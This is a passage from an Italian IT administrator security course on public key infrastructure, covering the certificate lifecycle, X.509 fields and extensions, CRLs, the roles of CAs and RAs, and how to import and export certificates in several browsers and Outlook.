connessa a Internet. In particolare, metterlo nelle
condizioni di proteggere i dati aziendali contro
perdite, attacchi virali e intrusioni. Inoltre, metterlo
nelle condizioni di conoscere e utilizzare le utility e i
programmi pi comuni destinati a tali scopi.
Riferimento Syllabus
2.0 (curriculum
ufficiale AICA)
5.6.1 PKI
5.6.1.1 Essere al
corrente delle
problematiche di
distribuzione della
chiave pubblica,
anche riguardo
l'identificazione del
possessore
I contenuti delle 8 lezioni
Lezione 1: Informazioni generali
Lezione 2: parte 1 Crittografia -
fondamenti e algoritmi
Lezione 2: parte 2 Crittografia -
applicazioni
Lezione 3: Autenticazione
e controllo degli accessi
Lezione 4: Disponibilit dei dati
Lezione 5: Codice maligno
Lezione 6: Infrastruttura a chiave pubblica
Lezione 7: Sicurezza della rete
Lezione 8: Aspetti sociali, etici e legali della
sicurezza informatica
In collaborazione
con:
Certificati e certificatori
Infrastruttura
a chiave pubblica
Lezione 6 IT Administrator - Sicurezza informatica
struttura di sicurezza dovrebbe essere a disposizione degli
utenti (individui, applicazioni, eccetera) che hanno neces-
sit di sicurezza e dovrebbe essere facilmente accessibile
nellambito di unarchitettura caratterizzata da interope-
rabilit, coerenza e gestibilit attraverso piattaforme ete-
rogenee. Linfrastruttura a chiave pubblica pu formare la
base su cui costruire e gestire uninfrastruttura di sicurez-
za e ha come obiettivi fondamentali lautenticazione, lin-
tegrit e la riservatezza delle informazioni.
Linfrastruttura a chiave pubblica nasce con lo scopo di
distribuire e gestire in modo sicuro le chiavi pubbliche per
tutto il periodo della loro validit, garantendo la corri-
spondenza tra ogni chiave pubblica e il proprietario della
coppia di chiavi. La garanzia di autenticit delle chiavi pub-
bliche (e quindi delle corrispondenti chiavi private) for-
nita dalle Autorit di Certificazione (Certification Authority
o CA) tramite lemissione di certificati digitali. Un certifi-
cato una struttura di dati che associa lidentit del titola-
re alla coppia di chiavi (la chiave pubblica inclusa nel cer-
tificato), certificata tramite una firma digitale prodotta per
mezzo della chiave privata della CA. In questo modo,
chiunque, tramite la chiave pubblica della CA, pu verifi-
care la validit del certificato e quindi lautenticit della
chiave pubblica che vi contenuta. Questi certificati sono
detti certificati digitali o certificati di chiave pubblica (pu-
blic key certificate).
Una coppia di chiavi asimmetriche ha tipicamente que-
sto ciclo di vita:
- lentit da certificare viene identificata con certezza e re-
gistrata presso una CA o presso una RA (Registration
Authority), un componente dellinfrastruttura che viene
talvolta utilizzato per sollevare la CA da certe funzioni, au-
mentando la scalabilit e riducendo i costi. Se la genera-
zione delle chiavi non contestuale alla registrazione, la
RA deve fornire allentit richiedente un codice di acces-
so che consenta di autenticare la connessione allinvio
della richiesta.
- Vengono generate le chiavi. Ci avviene normalmente
presso lentit utente, per esempio attraverso le funzioni
crittografiche del sistema operativo, invocate da un web
browser. Tale approccio offre la migliore protezione della
chiave privata. Se le chiavi vengono generate allinterno
della PKI (una procedura che si raccomanda di evitare), si
dovrebbe ricorrere a procedure di sicurezza particolar-
mente rigorose per garantire il non ripudio.
- Viene generata una richiesta di certificato conforme a uno
dei protocolli di sicurezza che sono stati definiti. Per
esempio, il gruppo di lavoro IETF PKIX ha pubblicato le
specifiche Internet X.509 Public Key Infrastructure Certi-
ficate Management Protocol (CMP) - RFC 2510, Internet
X.509 Certificate Request Message Format (CRMF) - RFC
2511 e il successivo CMP2. Alcuni ambienti utilizzano, in
alternativa, i Public Key Cryptography Standards (PKCS)
7 - RFC 2315 e PKCS 10 - RFC2986. Altri protocolli sono ba-
sati sulle strutture PKCS 7/10, come il Certificate Manage-
ment Messages over CMS (Cryptographic Message Syn-
tax) - RFC 2797 e il Simple Certificate Enrollment Protocol
di Cisco. CMP e CRMF costituiscono il protocollo pi com-
pleto per la gestione del ciclo di vita dei certificati. Sia
CRMF sia PKCS 10 prevedono linvio di un messaggio fir-
mato, in modo che la CA abbia la prova che il mittente del-
la richiesta di certificato sia in possesso anche della chia-
ve privata.
- La richiesta di certificato inviata alla CA. E una fase de-
licata, perci si deve garantire che avvenga su un canale
sicuro, possibilmente autenticato.
- Il certificato viene generato. In questa fase la CA crea la
struttura di dati contenente la chiave pubblica, i dati iden-
tificativi del possessore delle chiavi (il richiedente), il pe-
riodo di validit e varie altre informazioni, alcune riguar-
danti la CA stessa.
- Il certificato inviato al richiedente ed pubblicato nella
directory della CA. Ci sono vari modi di disseminare un
certificato, come la distribuzione out-of-band (invio con
mezzi non elettronici, inclusa la consegna fisica) e la di-
stribuzione con protocolli in-band, per esempio allinter-
no di un messaggio di posta elettronica sicuro (S/MIME).
- Se necessario porre termine al periodo di validit del
certificato prima della sua data di scadenza, la CA pu re-
vocare il certificato inserendo un riferimento ad esso nel-
la Certificate Revocation List (CRL). La richiesta di revo-
ca pu provenire dal possessore del certificato, per esem-
pio perch stata compromessa la sicurezza della chiave
privata o per cambio di mansioni o dimissioni di un di-
pendente. Lutente pu comunicare la richiesta di revoca
alla CA o alla RA online o, in alternativa (per esempio in ca-
so di furto di una smart card o di un computer), via te-
lefono.
- Prima della scadenza del certificato, di solito prevista la
possibilit di generare una nuova coppia di chiavi e di ri-
chiedere il rinnovo del certificato. (Sebbene si parli co-
munemente di rinnovo nei termini citati, in letteratura si
distingue tra rinnovo e aggiornamento: il rinnovo conser-
va la coppia di chiavi e laggiornamento prevede la gene-
razione di nuove chiavi. Anche ammesso che le circo-
stanze e la sicurezza delle chiavi giustifichino questo tipo
di rinnovo, una procedura pericolosa se non si prende la
precauzione di assicurare che le firme digitali siano di-
stinguibili in corrispondenza di ogni variazione dei dati
del certificato).
Ciclo di vita delle chiavi asimmetriche (Fig A-B)
PC Open www.pcopen.it 99
A
B
PC Open www.pcopen.it 100
ITAdministrator - Sicurezza informatica Lezione 6
Certificati digitali e liste dei certificati revocati
(CRL)
Il concetto di certificato digitale, ovvero di una struttu-
ra di dati firmata contenente una chiave pubblica, fu intro-
dotto nel 1978 da uno studente del MIT (Massachusetts In-
stitute of Technology). Sono quindi trascorsi quasi tre de-
cenni dalla concezione di un metodo sicuro e scalabile per
trasportare le chiavi pubbliche a tutte le parti interessate.
Il certificato era lo strumento che permetteva di legare il
nome di unentit (pi altre informazioni) alla corrispon-
dente chiave pubblica.
Oggi esistono vari tipi di certificati, tra cui i seguenti:
- certificati di chiave pubblica X.509
- certificati SPKI (Simple Public Key Certificate)
- certificati PGP (Pretty Good Privacy)
- certificati SET (Secure Electronic Transaction)
- certificati di attributi (attribute certificate).
Ogni tipo di certificato ha un formato diverso, inoltre
per alcuni tipi esistono diverse versioni. Per esempio, del
formato pi diffuso, lX.509, esistono tre versioni di certifi-
cato. La versione 1 un sottoinsieme della versione 2, che
a sua volta un subset della versione 3. Un certificato X.509
versione 3 include numerose estensioni opzionali e pu
quindi essere utilizzato in diversi modi secondo le specifi-
che applicazioni. Ad esempio, i certificati SET sono certifi-
cati X.509 V 3 con estensioni specifiche definite solo per le
transazioni SET (pagamenti tramite carta di credito) e in-
comprensibili alle applicazioni non SET.
Per i nostri scopi, intendiamo come certificato (sinomi-
no di certificato digitale e di certificato di chiave pubblica),
un certificato X.509 versione 3, come definito dalla racco-
mandazione ITU-T X.509 Information Technology - Open
Systems Interconnection - The Directory: Public Key and
Attribute Certificate Frameworks, marzo 2000, equivalen-
te allISO/IEC 9594-8:2001. La versione 3 del 2000 corregge
e completa la versione 3 del 1997, che a sua volta rimedia-
va alle carenze delle versioni 1 e 2.
Sebbene la norma X.509 definisca certi requisiti associa-
ti ai campi standard e alle estensioni di un certificato, le esi-
genze dinteroperabilit richiedono un ulteriore raffinamen-
to delle specifiche in corrispondenza di certi profili duso. A
tale scopo, il gruppo di lavoro PKIX (Public Key Infrastruc-
ture X.509) dellIETF ha pubblicato la RFC 2559 nel 1999, rim-
piazzata dalla RFC 3280 nel 2002. Sebbene la RFC3280 si ri-
volga alla comunit Internet, contiene molte raccomanda-
zioni valide anche per le applicazioni aziendali.
Il contenuto di un certificato digitale accessibile in va-
ri modi. Per esempio, si pu utilizzare un web browser per
interrogare il server LDAP (Lightweight Directory Access
Protocol) della CA e avere accesso ai contenuti dei certifi-
cati archiviati nella directory (vedi la sezione Servizi di Di-
rectory, pi avanti). Con un
browser si possono anche
eseguire operazioni sui cer-
tificati locali, come visualiz-
zare gli attributi di un certi-
ficato installato e importare
o esportare certificati.
Per esempio, attraverso
una CA, possiamo usare In-
ternet Explorer in Windows
per creare una coppia di
chiavi asimmetriche e pro-
curarci il relativo certificato
digitale, un servizio che per
uso personale associato al-
la posta elettronica dispo-
nibile gratuitamente presso
www.thawte.com. Dopo
aver installato il certificato
seguendo le istruzioni di
Thawte, ne possiamo vede-
re gli attributi aprendo, in IE, Strumenti > Opzioni Internet >
Contenuto > Certificati (fig.1).
Dopo aver selezionato il certificato da visualizzare, un
clic su Visualizza porta alla sezione generale della finestra
Certificato (fig.2).
La sezione dettagli mostra gli attributi del certificato
(fig.3).
La sezione Percorso di certificazione mostra la gerarchia
delle CA che certificano la validit del certificato.
Le informazioni di base contenute in un certificato
X.509 sono le seguenti.
- Version (Numero di versione del certificato): 1 o 3, visto
che la versione 2 non ha avuto applicazione pratica. La
versione 3 la pi diffusa ed caratterizzata dalla pre-
senza di estensioni, che vedremo nella prossima sezione.
- Serial Number (Numero di serie): un numero che identifi-
ca il certificato in modo univoco allinterno della CA. Ogni
CA deve garantire che ogni certificato emesso abbia un
5.6.1.2 Conoscere il
significato di:
certificato, liste dei
certificati revocati
(CRL)
1
2
3
Lezione 6 IT Administrator - Sicurezza informatica
numero di serie unico.
- Signature (Algoritmo della firma elettronica): indica lal-
goritmo utilizzato per firmare il certificato. Si tratta di un
OID (Object Identifier) che identifica lalgoritmo in modo
univoco, a cui associata una sigla mnemonica che indi-
ca gli algoritmi di hash e di cifratura utilizzati, per esem-
pio md5RSA (come nellesempio) o sha1RSA.
- Issuer (Rilasciato da): il nome dellentit che ha rilasciato
il certificato, per esempio una CA. Questo attributo nel
formato Distinguished Name (DN), che indica univoca-
mente un oggetto nella struttura della directory. Il DN ot-
tenuto concatenando tutti gli oggetti che lo compongono,
che nellesempio di cui sopra sono C (nazione), O (orga-
nizzazione) e CN (common name, il nome della persona).
Tale DN rappresenta anche lentry della directory relativa
alla CA dove normalmente si trova il certificato auto-fir-
mato della CA e le CRL (un certificato auto-firmato se
firmato con la chiave privata corrispondente alla chiave
pubblica contenuta nel certificato, come solitamente ac-
cade per i certificati di CA).
- Valid from, Valid to (Valido dal e Valido fino al): le date e
lora di inizio e fine della validit del certificato.
- Subject (Soggetto): il nome del soggetto certificato sotto
forma di DN; per esempio, in un certificato personale di
Thawte, composto da CN = Thawte Freemail Member e
da E = <email del soggetto>.
- Public key (Chiave pubblica): nellesempio una chiave
RSA di 1024 bit.
La chiave pubblica.
Come si accennato, pu esser necessario interrompe-
re la validit di un certificato prima della sua scadenza. Lin-
terruzione pu essere definitiva (revoca del certificato) op-
pure temporanea (sospensione del certificato). La revoca
o la sospensione si attuano inserendo un riferimento al cer-
tificato allinterno di una lista di revoca (CRL) fig.4.
Si revoca un certificato quando, a partire da un certo
momento, non devono pi essere considerate valide le fir-
me generate con la chiave privata abbinata alla chiave pub-
blica contenuta nel certificato. Ci pu essere determinato
da motivi organizzativi (come il trasferimento del dipen-
dente a cui assegnato il certificato) o di sicurezza (chia-
ve privata compromessa, smart card smarrita o rubata, ec-
cetera).
Si sospende un certificato quando sono necessarie ul-
teriori indagini per decidere se revocarlo o riattivarlo. Du-
rante il periodo di sospensione, il certificato come revo-
cato. Se il certificato viene riattivato, il suo riferimento vie-
ne tolto dalla CRL, come se non fosse stato mai sospeso. Se
viene revocato, la data di revoca coincide con quella di so-
spensione.
Per determinare se un messaggio firmato da conside-
rare valido, occorre accertare se, al momento della firma,
il certificato risultava revocato o sospeso (cio incluso nel-
la CRL). Perci necessario conoscere con certezza il mo-
mento della firma, oltre a quello di revoca o sospensione
eventualmente contenuto nella CRL.
Un modo standard per associare a un dato una coordi-
nata temporale, dimostrando la sua esistenza a una certa
data e ora, luso di un servizio di marcatura temporale for-
nito da una Time Stamping Authority (TSA), come descrit-
to nella RFC 3161. Una marca temporale (timestamp) un
dato strutturato, firmato dalla TSA, che contiene lhash del
documento associato, un numero seriale di identificazione
e data e ora.
La TSA ha una propria coppia di chiavi per la firma delle
marche temporali. Il certificato TSA contiene la chiave pub-
blica e viene emesso, nel caso di firma qualificata secondo
la normativa italiana, da una CA diversa da quella dei tito-
lari. In tal modo, in caso di compromissione della chiave di
CA, possibile verificare correttamente la validit delle fir-
me apposte dagli utenti prima della compromissione.
Anche la lista di revoca dei certificati (CRL, Certificate
Revocation List) una struttura firmata (poich occorre ga-
rantire lattendibilit delle informazioni che vi sono conte-
nute) ed composta di due parti: una generale con infor-
mazioni sulla CRL stessa e la lista dei certificati revocati
dallente emettitore. Per ogni certificato revocato, viene in-
dicato come minimo il suo numero di serie e la data e ora
di revoca.
La parte generale ha il seguente formato.
- Version (Numero di versione): 1 o 2. La versione 2 la pi
diffusa ed caratterizzata dalla presenza di estensioni op-
zionali.
- Issuer (Rilasciato da): il nome della CA che ha emesso la
CRL.
- Effective Date (Data di validit): la data e ora di emissione
della CRL.
- Next Update (Aggiornamento successivo): la data e ora in
PC Open www.pcopen.it 101
4
5
6
Un esempio di parte
generale di una CRL in
versione 1
Un esempio di elenco dei
certificati revocati
ITAdministrator - Sicurezza informatica Lezione 6
cui prevista una nuova emissione della CRL.
- Signature (Algoritmo della firma elettronica): come nel
corrispondente campo del certificato
5.6.1.3 Certificati X.509 v3
La versione 3 della norma X.509 ha introdotto un campo
di estensioni opzionali sia nel certificato sia nelle CRL. Ogni
estensione costituita da un identificatore unico (OID) che
identifica lestensione, da un flag di criticit (vero se le-
stensione critica, oppure falso) e dal valore dellesten-
sione. In tal modo si possono aggiungere nuove informa-
zioni al certificato senza doverne ridefinire la sintassi di ba-
se. La norma X.509 prevede un certo numero di estensioni
standard, ma possibile (sebbene sconsigliato) aggiunge-
re estensioni proprietarie a un certificato o a una CRL. La
criticit di unestensione uninformazione utilizzata dal-
lapplicazione che analizza il certificato o la CRL. Se lap-
plicazione non riconosce unestensione marcata come cri-
tica, dovr scartare il certificato (o la CRL) considerando-
lo non valido.
Le estensioni pi importanti per i certificati sono le se-
guenti.
- Authority Key Identifier e Subject Key Identifier: identifi-
catori della chiave della CA che ha emesso il certificato e
della chiave certificata; normalmente si calcolano come
hash (impronta) SHA-1 della corrispondente chiave. Que-
sta estensione usata per verificare la firma digitale cal-
colata sul certificato (e quindi la validit del certificato)
quando la CA utilizza pi chiavi di firma; in tal caso
lAuthority Key Identifier del certificato dellentit e il
Subject Key Identifier del certificato di CA devono corri-
spondere. La RFC3280 prescrive luso dellAuthority Key
Identifier per tutti i certificati tranne quelli auto-firmati e
prescrive luso del Subject Key Identifier per i certificati
delle CA, raccomandandolo anche per i certificati delle
entit (utenti) finali.
- Basic Constraints: indica se si tratta di un certificato di CA
o di entit finale. Tipicamente, assente nei certificati di
entit finale; se presente, deve valere falso.
- Key Usage: indica quali sono gli usi permessi per la chia-
ve pubblica del certificato. Pu essere usato per indicare
il supporto per firme digitali, non ripudio, cifratura delle
chiavi, accordo su chiavi, firma di certificati, firma di CRL,
solo cifratura, solo decifratura.
- Subject Alternative Name e Issuer Alternative Name: sono
nomi aggiuntivi che caratterizzano lentit certificata e la
CA; ad esempio, nei certificati personali di Thawte, Nome
alternativo oggetto contiene lemail del titolare.
- CRL Distribution Point: un puntatore alla CRL relativa a
quel particolare certificato.
- Certificate Policies: una sequenza di uno o pi OID
(Object Identifier che identifica un attributo) che identifi-
cano i documenti di policy della CA, ovvero gli impegni
che la CA assume nei riguardi dei propri clienti in relazio-
ne al tipo di servizio offerto. Se lestensione marcata co-
me critica, lapplicazione deve aderire ad almeno una del-
le policy indicate, altrimenti il certificato non deve essere
utilizzato. Oltre agli OID, sono previsti dei qualificatori op-
zionali. Sebbene la RFC3280 sconsigli i qualificatori delle
policy ai fini dellinteroperabilit, ne definisce due in par-
ticolare: il Certificate Practice Statement (CPS) e lo User
Notice. Il qualificatore CPS un indirizzo URI (Uniform Re-
source Identifier) dellubicazione dove si pu trovare il do-
cumento CPS applicabile al certificato in questione. Il qua-
lifier User Notice pu comprendere un riferimento a infor-
mazioni reperibili altrove, una nota esplicta (max 200 ca-
ratteri) o entrambi.
- Extended Key Usage: indica degli utilizzi particolari della
chiave non elencati nellestensione Key Usage di cui so-
pra. Ad esempio, pu indicare la firma di marche tempo-
rali o lautenticazione TSL (Transport Layer Security). La
RFC3280 identifica diversi OID associati con questa esten-
sione, ma probabilmente la lista verr estesa nel tempo.
Questa estensione usata tipicamente nei certificati del-
le entit finali.
La versione del 2000 della norma X.509 ha introdotto nu-
merose estensioni opzionali, che possono essere relative a
tutta la CRL o a singoli certificati revocati. Le estensioni pi
utilizzate sono le seguenti.
- CRL Number: il numero progressivo di CRL emesse.
- Authority Key Identifier, come per i certificati.
A livello di singolo certificato, importante lestensione
CRL Reason Code, che fornisce il motivo per cui il certifi-
cato stato revocato. Tra i valori, ci sono Key Compromi-
se ( stata violata lintegrit della chiave privata corri-
spondente a quel certificato), cambio di affiliazione, rim-
piazzato, cessata operativit, sospensione, privilegi ritira-
ti e altri.
La PKI e i suoi componenti principali:
Certification Authority e Registration Authority
La Certification Authority lunica entit essenziale in
una PKI X.509, del cui funzionamento assume totale re-
sponsabilit. La CA ha la responsabilit di emettere, gesti-
re e revocare i certificati e garantisce quindi, nei confronti
dei terzi, il legame tra una chiave pubblica e i dati identifi-
cativi dellentit che possiede quella chiave pubblica e la
corrispondente chiave segreta.
Per realizzare il suo compito di emettere certificati, la CA
riceve una richiesta di certificato dallentit finale (luten-
te), autentica la sua identit e convalida il contenuto della
richiesta di certificazione. Quindi la CA genera il contenu-
to del nuovo certificato e lo firma digitalmente. Se la CA
configurata in modo da usare un certificate repository (un
database che contiene tutti i certificati emessi), vi archivia
il nuovo certificato. Quindi la CA consegna il certificato al-
lentit richiedente: per esempio, pu inviarlo via email o
comunicare lURL dellubicazione dove il richiedente potr
prelevarlo. Quando un certificato deve essere revocato, la
CA crea e gestisce le informazioni di revoca per il certifi-
cato. La richiesta pu essere originata dallentit utente o
dalla CA. La CA responsabile di autenticare la richiesta di
revoca. Allatto della revoca, la CA pu rimuovere il certifi-
cato dal repository o pu limitarsi a marcare il certificato
come revocato. La CA include il numero di serie del certi-
ficato nella CRL e, solitamente, informa lutente dellavve-
nuta revoca.
Chi utilizza un certificato, tipicamente per verificare una
firma digitale, deve sapere quale grado di fiducia pu ave-
re nellaffidabilit del certificato. Questo dipende da vari
fattori, come le regole e le procedure seguite dalla CA per
accertare lidentit del soggetto, le politiche e le procedu-
re operative, gli obblighi dei soggetti per proteggere le pro-
prie chiavi segrete (per esempio potrebbero essere tenuti
a utilizzare dispositivi di firma sicuri e certificati), leffica-
cia con cui la CA protegge la sua chiave privata e via di-
cendo.
Un elemento di particolare importanza il metodo usa-
to dalla CA per distribuire la propria chiave pubblica, nor-
malmente inserita in un certificato auto-firmato. Da tale cer-
tificato dipende la possibilit di verificare la validit di tut-
ti i certificati e delle CRL. Occorre quindi che venga utiliz-
zato un metodo di distribuzione sicuro e che consenta al-
lutente di verificare se sta utilizzando il certificato di CA
corretto. Per esempio, si pu generare un hash del certifi-
cato e metterlo a disposizione degli utenti con modalit ta-
li da rendere difficili le contraffazioni (a mezzo stampa, su
siti web ecc.). La pratica oggi diffusa quella di includere
i certificati delle CA direttamente allinterno dei browser,
delegando ai distributori del software lonere della verifica
e della distribuzione sicura. Gli utenti restano cos allo-
scuro dellimportanza di queste verifiche.
In Italia, per la firma qualificata, a garanzia dellautenti-
cit dei certificati di CA, previsto che venga tenuto dal
PC Open www.pcopen.it 102
5.6.1.3 Conoscere i
certificati X.509.V3
5.6.1.4 Conoscere il
significato
dell'acronimo PKI e le
relative componenti
fondamentali:
Certification
Authority, Registration
Authority, etc.
Lezione 6 IT Administrator - Sicurezza informatica
CNIPA (Centro Nazionale per lInformatica nella Pubblica
Amministrazione) un elenco dei certificati e che questo sia
firmato con una particolare chiave, il cui hash stato pub-
blicato nella Gazzetta Ufficiale.
Le informazioni necessarie per garantire il grado di fi-
ducia richiesto vengono normalmente raccolte in due do-
cumenti: Certificate Policy (CP), che raccoglie linsieme di
regole seguite dalla CA per garantire la sicurezza e Certifi-
cate Policy Statement (CPS), che documenta le procedure
operative che implementano la CP. Questi due documenti
sono scritti in conformit alle indicazioni fornite dalla
RFC2527 (Internet X.509 Public Key Infrastructure: Certifi-
cate Policy and Certification Practices Framework, marzo
1999).
Lestensione Certificate Policies, che pu essere inseri-
ta nei certificati, deve contenere uno o pi OID che identi-
fichino i documenti di policy della CA e possono contene-
re lURL della loro ubicazione.
Una CA potrebbe non essere in grado di identificare cor-
rettamente tutti i soggetti che deve certificare, per esempio
nel caso in cui la procedura di registrazione richieda un ri-
conoscimento de visu dei soggetti e che questi siano di-
stribuiti su una vasta area geografica. In questi casi si pu
delegare a una Registration Authority (RA) il compito di
identificare i soggetti. Con la crescita dellinfrastruttura, si
pu avere una struttura a pi livelli, in cui un numero limi-
tato di RA coordina il lavoro delle RA locali (LRA). I docu-
menti di policy dovranno includere le procedure di regi-
strazione adottate.
Una RA unentit opzionale concepita per distribuire in
modo efficiente il carico di lavoro di una CA, ma non esegue
nessun servizio che non possa essere fornito dalla sua CA.
I servizi della RA sono di autenticazione e validazione del-
le richieste provenienti dalle entit utenti. La RA, in qualit
di front-end per conto della CA, tenuta a mettere in atto
le policy della CA, quindi una RA dovrebbe essere dedica-
ta a una sola CA, mentre una CA pu essere assistita da pi
RA. Dato che la generazione delle firme digitali unattivit
computazionalmente intensa, la presenza delle RA per-
mette alla CA di occuparsi prevalentemente delle attivit
crittografiche, oltre a interagire con il repository dei certi-
ficati e a firmare i certificati e le CRL.
Il repository il database dove la CA pubblica i certifi-
cati che genera, che pu essere utilizzato come fonte cen-
trale dei certificati e delle chiavi pubbliche dagli utenti del-
la PKI. Esso pu inoltre essere usato come ubicazione cen-
trale delle CRL.
I repository possono essere implementati attraverso
tecnologie software, ma le directory X.500 raccolgono am-
pia accettazione. Una directory X.500 la scelta naturale
per conservare i certificati, perch i titolari dei certificati
sono spesso identificati dai distinguished names (DN) del-
lX.500. La modalit standard per accedere ai certificati e al-
le CRL archiviate in una directory X.500 attraverso il pro-
tocollo LDAP (Lightweight Directory Access Protocol).
Unapplicazione che offre uninterfaccia LDAP detta ser-
ver LDAP; un utente pu inviare una richiesta LDAP a un
server LDAP e leggere i dati di un certificato o di una CRL.
Per la ricerca di un certificato, la query deve specificare il
DN parziale o completo dellentit finale che possiede il
certificato; per la ricerca del certificato di una CA o di una
CRL, la query deve specificare il DN della CA.
Utilizzo di un browser per generare chiavi
e inviare una richiesta di certificato alla CA
Utilizzando un web browser, possibile generare una
coppia di chiavi asimmetriche (RSA), inviare una richiesta
di certificato a una CA, installare il certificato ed esportar-
lo ad altre applicazioni (come un programma di posta elet-
tronica). Un certificato pu servire ad attivare una con-
nessione mutuamente autenticata con un server protetto
da SSL/TSL che supporti tale servizio.
I certificati personali per email, come quelli che Thawte
rilascia gratuitamente, ci forniscono un esempio della pro-
cedura con cui Internet Explorer, in Windows, crea le chia-
vi attraverso la CryptoAPI, linterfaccia con le funzioni crit-
tografiche di Windows.
Nel sito di Thawte.com, alla pagina Personal E-Mail Cer-
tificates, si avvia la procedura di registrazione cliccando su
Join. Lutente fornisce una serie di informazioni personali
e attende un messaggio email con le istruzioni successive.
Queste richiedono di aprire una certa pagina web e di in-
serire due dati (probe e ping) che servono a Thawte per ve-
rificare che il richiedente sia in effetti il titolare dellaccount
di email (che sar lelemento identificativo del certificato).
Segue la richiesta del certificato X.509 con la scelta del
software che lo utilizzer, tra cui Netscape Communicator,
Internet Explorer (con Outlook o Outlook Express) e Ope-
ra. Al momento della generazione delle chiavi e della ri-
chiesta del certificato, un messaggio di Windows mette in
guardia sulloperazione in corso e richiede conferma per
proseguire.
Viene creata la coppia di chiavi.
PC Open www.pcopen.it 103
Schema generale di una
PKI con le sue entit
principali
7
5.6.1.5 Essere in
grado d'utilizzare un
browser per generare
le chiavi e la
richiesta di
certificazione
a una CA
8
9
10
ITAdministrator - Sicurezza informatica Lezione 6
Il dialogo col sito di Thawte continua fino alla conferma
della richiesta di certificato e allaccesso alla pagina di ge-
stione dei certificati (Certificate Manager Page). Qui sono
elencati il o i certificati rilasciati allutente (per ogni indi-
rizzo email utilizzato, occorre un distinto certificato) e il lo-
ro stato. Un messaggio di posta avvisa che il certificato
stato rilasciato e fornisce un link per scaricarlo; aprendo la
pagina web, un ulteriore clic permette di installare il certi-
ficato in Internet Explorer (nel caso di Netscape, linstalla-
zione automatica). Un messaggio del sistema operativo
avvisa che si sta aggiungendo un certificato e attende con-
ferma per proseguire.
Il certificato viene installato.
Lo si trova elen-
cato aprendo,
in IE, Strumenti
> Opzioni Inter-
net > Contenu-
to > Certificati.
Da qui, il certificato pu essere esportato con o senza
chiave privata, secondo lutilizzo, ed essere importato nel
programma di email, per esempio per firmare i messaggi
inviati. Lesportazione e importazione della chiave privata
vengono protette da una password scelta dallutente.
Importare ed esportare certificati in un browser
Un browser pu importare certificati in diversi formati,
come X.509 (.cer o .crt), PKCS #7 (.spc o .p7b), PKCS #12
(.pfx o .p12) e vari altri. I formati PKCS (Public Key Cryp-
tography Standards) sono stati introdotti da RSA nel 1991
per supportare limplementazione e linteroperabilit del-
le tecnologie della PKI. Il PKCS #7 (CMS, Cryptographic
Message Syntax Standard) specifica i formati per codifica-
re messaggi creati con metodi di crittografia asimmetrica
ed stato creato per compatibilit con gli standard PEM
(Privacy Enhancement for Internet Electronic Mail) del-
lIETF. PKCS #7 stato adottato dallIETF nella RFC 2315 e
aggiornato con la RFC 2630.
Il PKCS #12 (Personal Information Exchange Syntax, o
PFX) stato introdotto per consentire alle applicazioni di
condividere credenziali crittografiche personali, visto che
molte applicazioni hanno adottato formati proprietari per
archiviare localmente le chiavi private e i certificati X.509.
Il formato PFX permette lesportazione di un certificato da
unapplicazione (come browser e programmi di email) a un
file binario (o a una smart card). Questo file pu essere im-
portato in unaltra applicazione sullo stesso o su un altro
computer.
Un esempio in Internet Explorer
Consideriamo un esempio di export in Windows, trami-
te IE, di un certificato installato da una CA, come nel caso
visto in precedenza. Nella sezione Certificati di IE, si sele-
ziona il certificato da esportare (fig. 14).
Cliccando su Esporta inizia la procedura guidata di
esportazione. Viene richiesto se il file esportato deve con-
tenere anche la chiave privata (per esempio per spostarla
off-line o su un altro computer) (fig. 15).
Ora si decide il formato di esportazione, che per default
PKCS #12 (fig. 16).
Per proteggere la sicurezza del file, si definisce una pas-
sword, che verr richiesta allatto dellimportazione. Come
al solito, la password dovrebbe essere abbastanza lunga e
usare lettere e cifre (fig. 17).
Si stabilisce la directory e il nome del file da esportare
(fig. 18).
Il sistema operativo chiede conferma dellesportazione
della chiave privata e genera il file di export (fig. 19).
Limportazione di un certificato in IE inizia anchessa
dalla sezione Certificati. Cliccando su Importa, si seleziona
il certificato in uno dei formati ammessi (fig. 20).
Si specifica la password che protegge la chiave privata,
che in questo caso era stata inclusa nel file esportato (fig.
21).
Il file di export pu essere salvato nellarchivio di default
o in un altro archivio (fig. 22).
Il certificato stato importato e aggiunto allarchivio
personale dei certificati (fig. 23).
PC Open www.pcopen.it 104
5.6.1.6 Essere in
grado
d'importare/esportar
e un certificato in un
browser
11
12
13
14
15
16
Lezione 6 IT Administrator - Sicurezza informatica
Un esempio di importazione in Konqueror (SuSE
Linux)
Si inizia dalla sezione Crittografia del configuratore di
Konqueror (fig. 24).
Si clicca su Importa e si seleziona un file di export loca-
le (se il file in rete, va copiato o spostato localmente) (fig.
25).
Si introduce la password che protegge la chiave privata
(se esportata) (fig. 26).
Il certificato risulta ora importato (fig. 27).
PC Open www.pcopen.it 105
17
18
19
20
21
22
23
24
25
26
ITAdministrator - Sicurezza informatica Lezione 6
Un esempio di importazione in Mozilla Firefox
Dalle opzioni avanzate di Firefox si entra nella Gestione
Certificati (fig. 28).
Si clicca su Importa (fig. 29).
Si seleziona il file da importare (fig. 30).
Si introduce la
password (se il fi-
le include la chia-
ve privata) (fig.
31).
Un messaggio
conferma il buon
esito dellimpor-
tazione (fig. 32)..
Il certificato
stato inserito nel-
larchivio dei cer-
tificati personali
(fig. 33). Se ne possono visualizzare le informazioni gene-
rali e i dettagli (fig. 34).
Un esempio dimportazione in Outlook
Nelle opzioni di sicurezza di Outlook si clicca su Im-
port/Export (fig. 35).
PC Open www.pcopen.it 106
27
28
29
30
31
32
33
34
35
Lezione 6 IT Administrator - Sicurezza informatica
Si seleziona il certificato esportato in precedenza da In-
ternet Explorer, specificando la password di export e li-
dentificatore del certificato, che per il certificato persona-
le di Thawte lindirizzo email associato al certificato (fig.
36).
Ora si pu chiedere ad Outlook di aggiungere una firma
digitale a tutti i messaggi in uscita (in alternativa, si pu se-
lezionare di volta in volta quali messaggi firmare) (fig. 37).
Accesso alla CRL dal browser e utilizzo
di OCSP (Online Certificate Status Protocol)
Un certificato include al suo interno il periodo di validit
(data e ora dinizio e di scadenza). Se si deve porre termi-
ne anticipatamente alla validit di un certificato, questo de-
ve essere revocato e il suo numero di serie deve essere in-
cluso nella CRL della CA che ha emesso il certificato. I mo-
tivi che determinano la revoca di un certificato sono di va-
ria natura, per esempio il trasferimento del titolare ad altra
mansione o altra azienda o il venir meno della sicurezza
della chiave privata.
Le CRL sono normalmente emesse ogni 12/24 ore, perci
la revoca diventa effettiva entro un giorno. Mentre questa
periodicit pu essere adeguata di routine, ci sono situa-
zioni che richiedono maggiore tempestivit nel bloccare un
certificato, come la sottrazione della chiave privata al pro-
prietario o luso fraudolento del certificato.
